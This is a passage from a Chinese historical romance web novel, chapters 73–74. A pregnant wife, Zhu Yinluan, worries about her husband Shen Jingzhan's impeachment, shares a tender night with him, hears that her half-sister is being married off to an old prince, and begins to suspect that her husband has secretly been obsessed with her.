父亲原本想用祝吟鸾那小贱人的小娘的牌位威胁,居然又被沈景湛身边的人给弹压下来。 沈景湛的面都没有见上,只听到他身边的人说,若是想死的话可以去试一试? 当下,父亲哪里还敢动她小娘的牌位,甚至.日.日派人去擦拭着,生怕损害了一星半点。 “檀儿?”朱夫人跟她说了好几句话,发现她根本就没有听进去。 “母亲,您说什么,女儿适才走神了。” “我说你哥哥来时说了什么,为何不叫我?” “哥哥也没有说什么,您吃了药好不容易睡下,女儿便没有叫您。” “我这身子骨不要紧,要紧的是祝家!”朱夫人声音大些就忍不住咳嗽。 祝沉檀听着她的咳嗽声,整个人都不耐烦起来,但又不得不忍耐。 朱氏在她耳边絮絮叨叨,一会说祝家的事情,一会又问卫家,说今日是不是要过朝廷审问卫如琢了。 “是。” 听父亲说,卫如琢这一次是必死无疑,让她少去沾边,不仅不能沾边往日的事情都要尽量撇清楚干系。 “结果如何?”朱氏忍不住追问。 祝沉檀没好气,“女儿也不知道,父亲和哥哥在书房还没出来。” 朱氏愣了好一会,忍不住道,“檀儿,实在不行,你去求求你妹妹吧?” 祝沉檀眼睛都睁大了,“母亲您说什么?” “您让我去求祝吟鸾?!”她当场就炸了。 朱氏知道她不愿意,但已经到了这个关头,心里总觉得有不好 的事情发生。 “母亲知道委屈你,但母亲的身子骨不好,不然母亲亲自去求她。” “她如今位高权重,春风得意,又身怀有孕,若是能够出手帮忙,咱们祝家一定能够渡过危机。” 朱氏说出心里的主意,“你就给她服个软,让你父亲带着你去,假意跟她道歉,先把她哄住了再说?” 祝沉檀自幼心高气傲,就算是假意的低头她都不肯,直接冷哼一声,“不可能,我绝对不会去求祝吟鸾。” 就算是假意也不可能,她不会向祝吟鸾低头。 朱氏原本还想再劝劝,看到祝沉檀咬牙切齿的模样,最终还是把话给噎了下去。 卫家几乎是翻天覆地,庞氏病重,原本只是中风而已,现如今居然垂危了?来给她看病的郎中居然也给庞氏看过病。 跟她说庞氏的病不仅仅是身体上的病,还有心病,保不齐就是哪天的事情了。 庞氏原本还是生龙活虎,如今却…… 朱夫人害怕闭上了眼睛。 “母亲——”朱夫人没了声音,祝沉檀也渐渐冷静下来,见朱夫人脸色不好,刚要跟她说话宽慰。 小丫鬟进门来,说祝大人叫她去书房一趟。 祝沉檀问是什么事? 小丫鬟摇头道不知,也不明白为何,祝沉檀心里那股不祥的预感是越来越强烈了。 朱夫人催促她,“快去吧,既然是你父亲叫你,别叫他等了。” “母亲好生歇息。” 越靠近书房,祝沉檀心里那股不祥的预感几乎要冲破脑门了。 很快,她的预感得到了证实,整个人宛如晴天霹雳。 祝大人一开始说得特别好,说什么家里拖累了她,没有保护好她,让她耽误到现在。 还说如今祝家摇摇欲坠,为了保全她,打算把她送出去避祸。 祝沉檀话都没问清楚,要把她送到什么地方,就听到她的嫡亲哥哥说,她已经在家中耽误很久了,现在为她寻觅了一门好亲事,让她嫁过去享清福,对方一定能够庇佑她,庇佑祝家。 原本祝沉檀还在雀跃,想着到底是什么样的亲事,居然能够享清福,庇佑她,庇佑祝家,如此厉害,那是不是还能够压过祝吟鸾了? 可没想到,居然是把她嫁给郭老王爷做续弦? 郭老王爷年纪那么大了,府上妻妾成群不说,听人讲他还会玩弄“闺中手段”,弄死了不少人,他上一个续弦,至今都不知道是怎么死的! “父亲是要推女儿进入火坑吗?!”祝沉檀大叫。 “什么火坑,你胡说什么?”祝大人被戳破了心思,恼羞成怒,“为父是替你盘算,为你着想!” “什么着想,是为了您的荣华富贵,为了哥哥的前程仕途吧!” 没想到,她居然比不过她的哥哥? 手心手背都是肉,她的父亲怎么舍得。 “这件事情我跟你哥哥仔细想了,是一门很好的亲事,你就在家中待嫁吧。” 祝大人懒得跟她争辩,现如今是焦头烂额,祝沉檀的婚事能够解救祝家于水火,不得不那么做了。 祝沉檀一气之下跑了出去,祝大人叫人跟上,不许她离开。 “……” 祝家也开始闹得翻天覆地起来。 不仅仅是祝家,沈家也受到了波及。 沈景湛当初为祝鸣生提携官位,还是被当朝提审的卫如琢给弹劾了。 除此之外,他还提到了当初尚书大人给他的那封喜帖,跟圣上禀明沈景湛如今的正妻是他曾经的发妻。 卫如琢处理太尉姚家一案,本就得罪了不少人,太尉门生众多,案子牵扯的人也多,当堂之上,即便卫如琢没有直接点名沈景湛,却也有人借题发挥了。 祝吟鸾对于外面的风雨一无所知,她是在午后起身,没告知外面的人,听到小丫鬟们说闲话,这才知晓。 得到消息的祝吟鸾都惴惴不安,原来昨日沈景湛一夜未归是出事了吗? 那些乱七八糟的吃味和幽怨念头,在涉及到正事之时被压了下去,她只有一个想法,祝家的事情还是连累到沈景湛了。 她想叫人去叫沈景湛,但又怕惊动沈家的人。 只能干着急。 晚膳时分,沈景湛也没有露面,倒是有人来传话了,说是晚些回来。 祝吟鸾实在等不了,她问他什么时候回来? 下属见祝吟鸾焦急,道他不知,但会为她催促。 祝吟鸾抿唇,“夫君公事忙碌也不用催促,我会在家等他。” “是。”沈景湛的下属很快走了。 祝吟鸾沐浴之后,沈景湛还是没有回来。 约莫过了一个时辰,她听到外面的动静,心中一喜,却发觉是进来添香的小丫鬟,喜悦落空。 祝吟鸾闻着熏香,昏昏欲睡。 在她扛不住安神香,快要彻底睡过去的时候,又听到了脚步声。 这一次的脚步声,似乎不是添香的小丫鬟,而是沈景湛。 祝吟鸾心里担忧,思绪挣扎间猛然睁眼。 她坐起来撩开幔帐,往外看去,见一抹颀长的影。 男人仿佛也听到她起身的动静,温和的声音传进来。 “鸾儿?” 第73章 第73章谁说沈景湛不会吃醋了?…… 他终于回来了。 听到这句温和的话,祝吟鸾的鼻尖不可控制地酸了一下。 “这么夜了,你怎么还没歇息?” 男人的眉心微不可察触动了一下,余光隐蔽扫向他的下属。 跟在后面的人感受到了威压,看向旁边伺候的小丫鬟。 小丫鬟不知道怎么说,她分明已经添了安神香,但祝吟鸾居然没有睡着? 顾忌着祝吟鸾的身子骨,安神香的分量也不敢添太多,或许不起效用?侧面不也说明少夫人忧心大人吗?辗转反复,难以入眠吗? 沈景湛揭开青苍大氅丢给旁白的人,净了手快步走进来。 “鸾儿不要起身。”他见她有动作,连忙安抚了下去。 祝吟鸾抿唇,“我……我有话想问你。” “嗯。”沈景湛知道是什么事情。 没想到这里居然还是有嘴不老实的人,他眼睫敛下,抬眼之时满是温和,甚至还与她调笑, “少夫人要拷问什么且等一会?我身上满是风尘,容我先去沐浴更衣可好?”他今日出入大理寺和刑部,身上脏。 祝吟鸾听着男人略显的语气,看着他蕴着笑意的面庞,略有几分不自然。 她攥紧了床榻边沿,“你……你快去吧。” 瞧他一脸轻松,应该没有出事吧? 但又说不准。 “好,我会很快。”沈景湛点头。 说是很快,却也没有很快。 祝吟鸾闻着安神香,听着浴房传来断断续续的水声,整个人又开始犯困。 “……”但又怕这么睡过去,明日醒来的时候沈景湛不见了。 她往外叫明芽给她拿一盏提神茶来。 “小姐,您这时候恐怕不能喝提神的茶。”已经很晚了。 祝吟鸾却不听,让她快去。 沈景湛的下属在外面自然是听到里面的动静。 他看向姣惠,后者会意,主动跟出来的明芽说,她去弄茶水,让明芽留神着里面,怕祝吟鸾出事, 明芽想了想,让姣惠去了。 这端上来的,自然不是安神茶,不过就是普通的温水,沾染了一些茶味。 祝吟鸾吃了一会,觉得奇怪,她问明芽是提神的茶水吗? 明芽颔首说是,末了,想到祝吟鸾让她监视姣惠的事情,便跟祝吟鸾说了,这是姣惠斟的茶水。 祝吟鸾听到姣惠两个字,目光下意识放到没喝完的茶水里。 她的心里活络着主意,不动声色刻意留了一部分,让明芽放到旁边去。 也正是这一会子的功夫,沈景湛居然出来了。 祝吟鸾让明芽先下去。 茶水没有端走。 沈景湛擦拭着湿发,眉眼清润俊美,身姿颀长,迈步的双腿遒劲有力。 “鸾儿要问我 什么?”他在她的身侧坐下。 “你先擦头发。”祝吟鸾酝酿着措辞。 沈景湛讲不碍事,“鸾儿说吧。” “我今日听小丫鬟嚼闲话,说你……”即便是心里已经酝酿好了大半的措辞,可她还是不可避免绕了几句舌。 “说卫如琢今日提审,弹劾了你,在御前讲你徇私舞弊,为祝家的人谋官位放到三省当中的集贤殿做学士。” “嗯,的确有这么一回事。”沈景湛放下擦头发的帕子,他看起来要倒茶水喝,不知为何居然伸手拿了她喝剩的一杯。 祝吟鸾眉心微动,直接抢了过来,“这……这是我喝剩的。” 她直接把茶水给拿走了,放到更远的地方,除非沈景湛起身,否则伸手不可能拿到的地方。 “即便是鸾儿喝剩的,我也不嫌弃。”他嘴角噙着淡淡的笑意。 祝吟鸾闻言看着他的脸,却忽略着男人有一下没一下敲打着桌面的指骨。 “我给你倒新的。”她重新倒了一盏,放到男人的手中。 沈景湛笑着说好,端起她倒的茶水喝了一口,放下之时问她,“鸾儿是在担心我,还是担心卫如琢。” 祝吟鸾没想到时至今日,他居然还在计较。 就算是吃味,他的醋意未免也太大太久了一些吧? “我……”沈景湛计较得她下意识噎声,她回神之后长叹一口气,“我自然是担心你啊,你是我的夫君,我不担心你,担心一个外人吗?” 男人薄唇微勾,看着她难得焦急的样子,“那鸾儿是担心沈世子,还是担心沈景湛?” 祝吟鸾顿了好一会,没懂。 “夫君说的是什么话?” “我担心你,你…你不就是沈景湛吗。”难不成,他不是沈景湛,而是别人吗? 会有人伪装他? 可是谁能够伪装他?祝吟鸾下意识盯着他的眉眼看,瞧得十分仔细专注,分辨眼前的人是不是真的沈景湛。 他感受到她的打量,挪着圆凳往前凑,拉近两人之间的距离,“…鸾儿要看,那就看得仔细一些。” “瞧瞧我是不是你的世子夫君,是不是沈景湛?” 两人在对视,祝吟鸾的思绪被他的话茬给转移走了,还在思索他说的究竟是什么话,完全没有注意到男人在靠近之时,手里拿着他喝过茶。 他凑近之后,长臂一伸,轻而易举碰到了她方才喝剩的,挪走的那一杯茶水。 他的目光凝视盯着她,祝吟鸾也在看着他,几乎是全神贯注,完全不知道男人伸远的手指掀开了茶盖,往她的茶水里面倒了些许提神的茶水。 两者混到了一起,颜色更浓郁些许。 祝吟鸾最终还是扛不住他的凝视,败下阵来。 她的目光下意识挪开。 沈景湛已经做完了所有的动作,把她的茶盏给盖上,把他的茶杯放回了原位,就连他的手也收了回去。 可他也没料到祝吟鸾挪开目光看向不远处的时候,心中在想,沈景湛突然靠近,他伸手就可以触碰到她放远的茶盏了吧? 思及此,祝吟鸾又下意识看了一下,发现沈景湛的茶盏在原位,他只是靠近,应该没动什么手脚。 她的睫毛浓密,垂下之时,遮住了她的情绪。 沈景湛也没看到。 还以为她在沉思,问她,“鸾儿想清楚了吗?” “我担心的是你这个人。”她缓了一会,明白沈景湛在问什么。 无非是在说侯府沈世子也可以是别人,沈景湛却只是他这个人。 他吃味计较的角度也太刁钻了,比女子还要厉害。 祝吟鸾回过味来,颇觉得无语的同时,又隐隐好笑和不可思议。 谁说沈景湛不会儿女情长,他的心思也是七弯八绕的,可是厉害了。 “让鸾儿见笑了。”听到想听的话,男人挑眉。 祝吟鸾,“……” “你…还没有回答我的话,你是不是受到弹劾牵连了?” “说什么弹劾牵连,我如今不也好端端坐在鸾儿的面前了。” 听着他的话茬,那就是没有了? 祝吟鸾还是不相信,毕竟那两个小丫鬟说得若有其事,很是严重。 “真的没事吗?”他就一句话,怎么不告诉她? “嗯。”沈景湛让她放心。 “可你被弹劾了,陛下肯定不愉悦。”若是不悦,岂不是会责贬他? “我跟在圣上身边也有几年了,圣上的心意我有数。” 更何况,这不过就是一场局而已,将计就计,引蛇出洞。 祝吟鸾抿唇,跟他道,“朝廷的事情我不太懂,但我知一句话,木秀于林,风必摧之。” “你要小心行事,我不希望你出现任何意外。” 闻言,看着眼前姑娘恬静的模样,沈景湛心头一暖。 他伸手蹭了蹭她雪白的腮帮子,“鸾儿放心,我答应过你,会保护好你和孩子,自然了,也会保全好自己。” “朝廷上面的事情,并非我不跟你讲,这些事情听多了烦心扰神,且牵扯过深,三两句话说不清楚,你放心吧,沈家根深蒂固,我不会有事的。” 他又捏了捏她的面颊,问她今日好不好,腹中的孩子听不听话。 祝吟鸾叹一口气,虽然还是担忧,但是听他那么说,心里总算是安定了些许,“我在家中一切都好。” “下人们说话总是喜欢夸大其词,再不然听风就是雨。”他让她别怕。 “相信我就好。”他的手始终没有从她的侧脸离开。 他感受着她面颊的柔软,她也同样感知到了他的粗粝。 祝吟鸾忍不住咬唇,男人见她娇态,唇色微微深了深,“……” 即便是快要过头三月了,沈景湛也极为克制。 亲了亲祝吟鸾,没有似昨日那般深吻,搅弄风云。 这个吻更像是安抚她,哄着她。 在感受男人亲近吻重之时,祝吟鸾想到了他在书房角落里收藏的物件和画卷。 那个荷包坠珠链子,还有银钱…… 画像…… 画像应当就是那名女子的,荷包也是对方的。 银钱能和这些东西放到一处,应当也是那女子的吧。 她怎么和沈景湛产生了交集,居然能够让沈景湛收藏这些东西,莫不是两人往日里有往来,所以才有这些信物吗? 沈景湛有她的,她会不会也有沈景湛的啊? 祝吟鸾依旧在想着。 心里的酸泡泡随着她的思绪冒得十分厉害,她想着这件事情,或许是她也醋了,比往日里都要回应得明显。 沈景湛原本不想过分深入,但因为她回应的动作,被勾起了兴致,停留得更长了,也与她吻得更厉害了些。 静谧的内室,氛围起来了,越来越热,祝吟鸾的衣襟不知道何时居然扯开了。 她心绪起伏得厉害。 许久没有碰她了,即便只是碰,也仅仅就是吻她的唇瓣,她的面颊,啄吻她的鼻尖。 再厉害一些,便是吻着她的细颈儿,再也没有过分越过锁骨。 沈景湛引以为傲的自制力在碰上她的一瞬间总是会大打折扣,所以他在这段时日都没有越过关头。 今日却因为她不同寻常的回应没有克制住自己。 算是久违地攀上了,芙蓉拟就而成的春山。 因为春山之上的美景实在过于吸引人,叫人流连忘返,所以男人诸多停留赏玩。 祝吟鸾忍不住发出了娇气的叹.吟,听起来像是哭,但实际上就是受不住了而已。 实在是太久违了。 说实话,两人上一次亲密,行房在何时,都已经有些许记不清楚了。 非要往前回想,祝吟鸾只想起来沈景湛问她的那句话,她问她满意吗? 他带着她的手,引着她去触碰他的腹肌和人鱼线,把她变成一个考究人的“女夫子”,也可以说她是一个恩客,而他是她的点的小生戏人。 “……” 但是那一次,两人也没有直接进行到最后一步。 他顾及她的肚子,没有那么做。 现如今祝吟鸾的回应,甚至可以算得上是热情了,跟她先前的过往比起来。 自从她身怀有孕之后,那些香露里面没有添.生情的香料,熏香也很注意,所以她今日是怎么了? 是因为太过于担心他,所以才这么热情? 她以前不过就是细微的回应都令他无比的激荡,现如今加入了热情,简直让他没有办法抗拒。 无异于默许他的动作,甚至还让他更进一步。 怀孕之后的祝吟鸾比之前更敏感。 沈景湛顾及她的身子骨,压根不敢太过分,一直十分轻柔。 因为之前他问她身子有没有不适,她说没有,但姣惠汇报说祝吟鸾讲她虽然不怎么显怀,但跟她们讲胸脯难受疼痛,后面倒是好了一些,时至今日,也不疼了。 他曾经问过太医,太医说,这是正常的现象,妇人怀胎十月,身子骨总会有些影响,但她先前吃过许多汤药,如今依然不必再吃了。 现如今碰怀中人的芙蓉柔软,沈景湛克制着力道,没有瞧见她露出痛苦的神色,总算是放下了心。 但与此同时,他也发现,似乎……变化了一些? 先前一手可以掌握春色满园,如今居然无法做到了。 他低头亲了亲,“……” 在男人的薄唇吻下来的一瞬间,祝吟鸾忍不 住躬起身子。 她抓紧了被褥,两只小脚也忍不住绷了起来。 她都不清楚,从什么时候开始,她的身子骨居然变得那么敏感了。 沈景湛也没亲多久,可以说稍微碰了碰而已,她居然就有这么大的反应。 骨子里那股对沈景湛的渴望瞬间窜了起来,是因为她看到那些东西么? 祝吟鸾已经分不清楚了。 她只知道,此刻的她希望和沈景湛亲近。 她想起跟沈景湛亲近的感觉,是美好的。 他顾念着她,会小心翼翼。 可另一方面也有克制,但此刻欲望旖旎烘热的幔帐当中被压下去了。 她抱着他,手指摸着他的肩背。 是宽阔的,结实的,劲瘦的。 只是碰一碰,就能够让人感受到他磅礴待发的力量。 即便是有伤痕,依然触感很好。 就像是他的腹肌,隔着薄薄的中衣,她已经感受到了。 在昏暗的视线当中,沈景湛看不太清楚祝吟鸾的神色,她本就羞怯,每次都会躲藏,所以他多从她周身的反应捕捉她心绪感受。 这一次,没想到她居然情动得这么快,完全在他的意料之外。 沈景湛意外之余,剩下的全是愉悦。 “鸾儿……”他低声唤她的名字,小心翼翼护着她,亲着她。 男人的吻铺天盖地落下来,祝吟鸾觉得她仿佛在经历一场春风和煦的雨。 这些吻柔和落在她的脸上,令她觉得舒坦,更重要的是,她喜欢,尤其是被他抱着。 沈景湛占据她的同时,她也觉得自己在占据着沈景湛。 如此一来,他就不会再想到那个人了吧? “夫君……” 她抿唇低声回应着他的叫唤。 这场雨令她渐渐燥热,她为了更深感受到春运的降临和浸透,彻底融在春雨里,所以她任性了一些,解开了束缚。 沈景湛自然察觉到她的变化。 她的猛然“热情”是因为今日发生的事情吗? 她真的担心他,不仅仅体会在言语之上,还付诸于行动当中,身体力行的想要跟他亲近。 是这样吗? 似乎是的,否则再也没有别的解释了。 沈景湛的吻重了一些,祝吟鸾娇柔,所以他也没有太过分地用力,始终也还是克制着。 但她承受不住,所以他的大掌便放到了后颈之上,撑着她的力道。 祝吟鸾回应着他的吻,在他的亲吻之下,越发软得厉害。 两人的唇舌在双方之间的城池之间互相追逐嬉戏。 “……” 外面的小丫鬟们也听到了里面的动静。 明芽欣喜主子们久违的亲近,却担心祝吟鸾的身子。 问旁边沈氏派过来的老妈妈,这样会不会有事,也就是变相询问,要不要提醒主子们。 老妈妈也是担忧,但想了想,这都情到浓时了。 此刻若是敲门打扰,只怕……会惹怒世子爷。 她即便是沈夫人派过来的人,对于沈景湛还是很忌惮很害怕的。 便道,“先不用吧。”毕竟处在兴头之上。 听着里面传出来断断续续的娇吟和喘息声,便知道有多么情浓了。 这个关口,谁敢开口? 老妈妈让人快去准备热水。 她被派到祝吟鸾身边也有些时候了,祝吟鸾做事知道分寸,而且已经差不离三月了。 两人到底是新婚,这么快有了孩子,这些时日基本上没有行房,如今有了房事,也算正常,毕竟血气方刚的。 内室,春雨下得很大。 祝吟鸾太久没跟他亲密了,没有办法承受。 而且沈景湛一直有意照拂着她,所以越来越慢。 祝吟鸾感受到沈景湛的克制,但也正因为如此,春日行路变得特别困难。 她攥紧了被褥,眼角不受“重负”的挤压,被挤出了眼泪。 不只是眼尾红,就连她的鼻尖也是红红的。 看起来仿佛被欺负狠了。 但实际上,他也的确在“欺负”她。 超出沈景湛的预料,他没想到,短短几日而已,她居然“自我防护”变得那么厉害。 别说她吃不消,就连他都受不了。 沈景湛哄着她放松。 行路难呐。 祝吟鸾心生退意。 今日也不知道着的什么魔,居然变成了这样,明明在等沈景湛,可她等他回来不是做这件事情的啊。 原本只是问问,怎么就变成了这样? 一开始是想,现在箭在弦上。 不,已经不算是箭在弦上,因为已经弦发出去了,只是受力阻隔了而已。 她慌乱之下居然问了一句,“夫君,你、你是不是变了很多……?” 沈景湛留意着她的反应,也不敢乱来,此刻听到她的话,居然没有明白,“什么?” “就是……长成了很多。”她说得非常委婉。 她怎么记得以前没有这么凶? 沈景湛是顿了一会,才彻底会意,他忍不住闷声笑开,“……或许是吧。” 祝吟鸾听到他的笑声,又知道她闹了囧。 祝吟鸾,“……你……不要笑了。”她的声音断断续续。 沈景湛小心翼翼护着她的腰身,害怕伤到她。 他很有耐心,伴着绵绵春雨缓慢行走在春路上,去接应她。 祝吟鸾捏着被褥,整个人的脸上都是泪珠和汗水。 她不觉得疼痛,只是……久违的,需要缓和才能够适应。 沈景湛也十分的难受,因为他一直在等着祝吟鸾适应。 可是很久了,她还是没有适应。 整个人颤着,惹得他也十分难受,而她一紧张,整个人也在围困“绞杀”他。 沈景湛呼出一口气。 他再次低下头,吻去她脸上的泪珠,哄着她,让她放松。 也不知道过了多久,祝吟鸾在他磁沉的低哄之下,终于渐渐放松下来。 “……” 风雨虽然不算激烈,但因为刻意的克制,维持了很久。 祝吟鸾累得睡了过去,加上天色晚了,头一歪,趴着睡着了。 沈景湛没有彻底尽兴,但她累了,即便是她自己还隐隐约约的难受,他也不能够继续,只能这样。 他闭眼,眉心蹙动,调整呼吸。 “……” 为了安定祝吟鸾,沈景 湛翌日晨起告假早朝。 沈夫人听到老妈妈来说昨日的事情,她觉得有些胡闹。 看沈夫人眉心微皱,老妈妈探问,要不要找个人放在内院伺候? “世子爷血气方刚,正值壮年,少夫人娇弱,恐怕受不住。” “这距离生孩子,还有好几个月呢。” 沈夫人叹气,“我何尝不想往听澜的院子里面放人,可如今…祝氏身子骨还不算稳定,她和听澜成亲的时日也短,真要这么做了,只怕……” 只怕会出事。 沈蔻玉就要嫁了,关口之上,绝对不能够说什么不吉利的话,沈夫人便将话给噎了回去。 “您不好做主,不如找侯爷或者老太太?” 沈夫人想了想,“这件事情先放一放,等玉儿嫁了再说,你留意着人选吧。” 天长日久,沈景湛定然还是会收人的。 现如今蜜里调油,过个三年五载,以后的事情谁说得准啊? “是。” “对了,世子爷被弹劾的事情,还有卫家那档子事,京城人议论,昨日有两个不规矩的小丫鬟嚼舌根被少夫人听去了,今日晨起世子爷叫下属狠狠发落了两人,掌嘴打了板子扔到了桩上去,还险些拔了舌头。” 沈夫人之所以动摇了要给沈景湛收小房的念头,也是因为祝吟鸾家里的事情牵扯了沈景湛。 但听老妈妈这么一说,她眉头皱得越发厉害。 老妈妈接着道,说没有拔舌头,是因为那两个小丫鬟不停祈求,说往日里很用心照顾祝吟鸾,今儿就是头一遭。 说来说去,沈景湛也是看在祝吟鸾的面子上才勉强放过两人。 沈夫人叹一口气,“多盯着那边吧。” “祝氏脾性能力都还不错,就是出身家世糟糕。” 但也没办法,自家儿子看得跟命根子一样。 老妈妈点头说是。 祝吟鸾醒的时候,沈景湛出去了,说是宫内传唤。 他留了话,让她多用早膳,好生歇息。 祝吟鸾觉得身上酸疼,但还能够忍受,“……” 起来好一会,她才想起来那杯茶,可茶水早就不知道去什么地方了。 明芽这些时日长了心眼,倒是替她留意了,说她收拾的,的确就是提神的茶水,看不出来什么问题。 祝吟鸾心里却觉得古怪。 自从想到那些事情以后,她就觉得姣惠奇怪,没有办法彻底信任她了。 “外头可有什么新鲜事?”祝吟鸾用着饭的时候问。 明芽道都是一些旧事,说卫如琢被关押入刑部了,指不定要关多久呢。 “他没有被流放吗?”祝吟鸾问。 “这些事情奴婢并不清楚。”明芽摇头,只知道卫如琢被关押起来了。 “那夫君呢?”祝吟鸾问。 明芽却转了一个话茬,“这京里的人嘴碎,说来说去,无非就是那些事情,小姐不必放在心上。” 祝吟鸾闻言,便知道京城当中的人还在议论她和沈景湛了。 否则明芽不会如此支支吾吾转移话茬。 “对了小姐,奴婢听说祝家要把大小姐嫁给郭老王爷做续弦。” “长姐?”祝吟鸾还以为自己听错了。 “对。”明芽点头,跟祝吟鸾说着她打听来的事情。 说是祝家要被贬官了,也不知怎么的,居然搭上了郭老王爷这一条线。 祝吟鸾沉默,不知道说些什么为好。 这不是“卖”长姐保全祝家吗? 就跟她当初一样。 可当初……她是为了周全两家的面子,父亲和嫡母才推她出去替嫁,长姐现下竟然也和她走向了相同的道路。 而且,郭老王爷那样的人… 长姐似乎比她还要惨。 “父亲和嫡母那样疼长姐,竟然也舍得吗?” 问出这句话的时候,祝吟鸾心里也清楚,事情若是属实的话,那就是祝家到了走投无路的地步,不得不让她出去嫁人了。 只是没想到,长姐竟然也成了被舍弃的人。 “舍不舍得,恐怕也不得不这样做了。” “因为朝廷之上,根本没有人为祝家说话,都怕惹一身腥呢。” 祝吟鸾,“……” “小姐,您身子骨还好吗?要不要找太医来看看?”怕祝吟鸾深思,明芽绕话。 祝吟鸾的确身上酸痛,但也不至于到找太医的地步。 何况,为了房中内事惊动太医,终归是不好。 祝吟鸾摇头说不必,“…过些时日就会好了。” “若是您身上不爽,不好找太医,奴婢可以去帮您找个医女来。” 医女,郎中…… 祝吟鸾想到那个除病斋,那个医馆倒是可以。 郎中给钱就办事,从不问什么。 那会她给他一锭银钱,让他开一剂吃了能让身子骨虚弱的药方,他没过问,收钱就开了。 的确是野路子。 祝吟鸾摇头,刚要说不必。 忽然之间,她顿住了。 银钱…… 一锭银钱,当时她给那个郎中的银钱。 祝吟鸾的目光不自觉抬起,看向沈景湛的书房。 第74章 第74章这是病到变态的喜爱。…… 又是巧合么? 当时她给那个郎中的也是一锭银钱,沈景湛书房当中同样是一锭银钱。 一样的荷包坠珠链子以及一样的银钱。 这种巧合又来了,先前,她和沈景湛偶遇,一切都是巧合。 祝吟鸾用膳的速度越来越慢,渐渐的陷入沉思。 她脑中蹦出一个心惊肉跳的想法,沈景湛所喜欢的姑娘不会是她吧? 这个想法一出来,祝吟鸾瞬间又摒弃了。 不,不可能。 她怎么可能会是沈景湛所喜欢的姑娘呢? 她根本就不认识沈景湛啊。 在她出嫁之前,她压根就不认识沈景湛,两人完全没有过交集,第一次碰面,是在京城的那条道巷,和沈景湛的马车发生了碰撞。 也不算是碰撞,就是沈景湛的马车坏了而已,除此之外,便再也没有交集了。 哪里还有交集啊? 可是真的有太多的巧合了。 祝吟鸾垂眸看着碗中的甜芋,明芽夹过来的,已经被她戳得有些许稀烂,祝吟鸾看着看着,又想到了最紧要的,重合的一桩事情。 当初沈景湛说,他喜悦的姑娘已经嫁人了。 嫁出去的那一年,也正巧是她嫁出去的那一年。 祝吟鸾心跳得越来越厉害。 真的太多了。 难不成 不。 她很快又甩开了脑中的想法,觉得这件事情说不通。 之所以这样认为,说不定就是因为昨日夜里她和沈景湛耳鬓厮磨了。 他温柔缱绻地照拂,爱怜她,甚至已经可以算得上是伺候她,所以她才会有这样的想法。 一定是这样的。 床榻之上的亲密总是会让人产生错觉,床榻上下并不一样,两者如何能够混为一谈呢? 可是,话虽如此,沈景湛除却一开始在床榻之上不一样,其余都是一样的啊。 他下了床榻,人还要更温和朗润一些,只是在与她亲密的时候,凶狠了太多,她吃不消。 除此之外,似乎就没有了。 旁边的明芽在催促,祝吟鸾动了一下银筷,却也没有太快的速度。 她的心里乱糟糟的,感觉这件事情没有那么简单。 异常已经发觉了很多,但是追根溯源,她还是想不明白,还是不愿意相信。 因为这要怎么去相信,根本就没有办法能够相信。 她的前半生基本全都待在闺中,根本就没有跟沈景湛见过面。 所以,到底是怎么回事呢? 祝吟鸾思来想去,还是不肯相信,归根结底,她就是觉得沈景湛喜悦的人根本不可能是她。 甚至喜欢到,偷藏她的荷包坠珠链子以及她给郎中的银钱? 太荒谬了。 事实的真相若真是如此,那沈景湛的真面目是什么样的,她根本没有办法想象。 说出去,谁会相信。 绕回荷包坠珠链子,祝吟鸾又想到了一些细节。 说到这个荷包坠珠链子 当初也是跟沈景湛有交集的。 那会是在卫如琢二妹的家宴之上,当时她不想听席间的人议论,离开席面去了后.庭院,在池子里见到挣扎的红鲤,便捡了一根枯枝想要将它给拨弄回去。 当时那红鲤太肥太.大了,她太专注,险些掉到池子里面去,就当她以为自己要在席宴之上出囧的同时,沈景湛捞住了她。 再然后 那是她认为的,真正意义上,第一次和沈景湛见面,当时他不仅仅是救了她,还解救了那只大肥 鲤。 后面,两人说了几句话就分开了。 一直到离开,有小丫鬟给她送荷包坠珠链子,说是掉了。 若说沈景湛在那个时候偷偷掉包了,也不是没有可能啊。 即便是真的,祝吟鸾也觉得荒谬,实在是太荒谬了,荒谬到可怕。 又不是很值钱的物件,还是用过的,沈景湛为何要拿她的荷包坠珠链子? 甚至还收藏起来?藏得那么好。 祝吟鸾已经觉得不是喜爱,而是病态变态。 这是病到变态的喜爱。 没有理由的。 倘若那些东西是她的,她只觉得后背都窜起凉意,觉得恐惧。 “小姐?!”明芽晃了晃祝吟鸾的手臂。 “怎、怎么了?”祝吟鸾猛然抬头。 “你真的没有不舒坦么?”明芽看她失神不说,脸色居然也开始变得恐惧起来,不知想到了什么,居然会露出这样的神情。 怕祝吟鸾出事,明芽只能拔高了声音。 “我没事”祝吟鸾快速平复心绪。 “那个就是太累了。”祝吟鸾道没有歇息够。 她放下碗筷表示不想吃了。 “小姐是同情大小姐么?”明芽劝她多用些,她前两日就没怎么用饭。 祝吟鸾想的不是这件事情,但是不好跟她言说,便只能够点头,“嗯,我是同情长姐。” 郭老王爷是什么人,都年过半百了,年岁甚至和父亲差不多,长姐嫁过去,那日子几乎是一眼看到头的。 抛开恩恩怨怨,是非善恶不说。 父亲和嫡母怎么就狠得下心? 但眼下她自己都有了困局,两边顾及不上。 她在想荷包和银钱的事。 到底是不是她的? 明芽知道她心慈手软,劝她,“您可不要心软,这件事情跟您本身就没有任何的关系,大小姐那是咎由自取,当初她攀高枝把不要的姻缘丢弃给您。” “骆家几年爬不上去,她又立马回来跟卫家的人套近乎,一门心思挤兑您,让您在卫家过得举步维艰,又被又被扫地出门,走投无路,求告无门。” “如今的下场也是她应该得到的,您千万不能去.插.手,若是您去了,牵扯到沈家,更是麻烦呢。” “不光是大小姐,还有那个卫如琢,当初那样对您,如今囚禁在刑牢当中,也是他自作自受,您是他的发妻,他飞黄腾达便苛责摒弃您,得到这个下场,也是他的报应,与您没有一丝一毫的关系。” 关系 祝吟鸾的脑子忽然窜出一种可能,祝家和卫家,骆家,这三家的跌落和晋升,会不会跟沈景湛有关系啊? 她不清楚,自己究竟怎么会这样想,但这个念头就这么冒出来了。 而且,再往深处想想,凭着沈景湛的权势地位,他完完全全可以做到。 她是不是太过于恶意揣测沈景湛了。 这些事情跟她有关系,跟沈景湛有什么关系呢? 沈景湛跟她的相遇十分巧合,私藏的东西她也有,但是不足以说明就是她的啊。 距离她从沈景湛的书房发觉那些东西再恢复原样离开,已经有几日了,她恢复得小心翼翼,沈景湛应当完全没有发觉。 或许他发觉了?隐藏得比较好,而她根本就不知情呢? 祝吟鸾觉得思绪很乱。 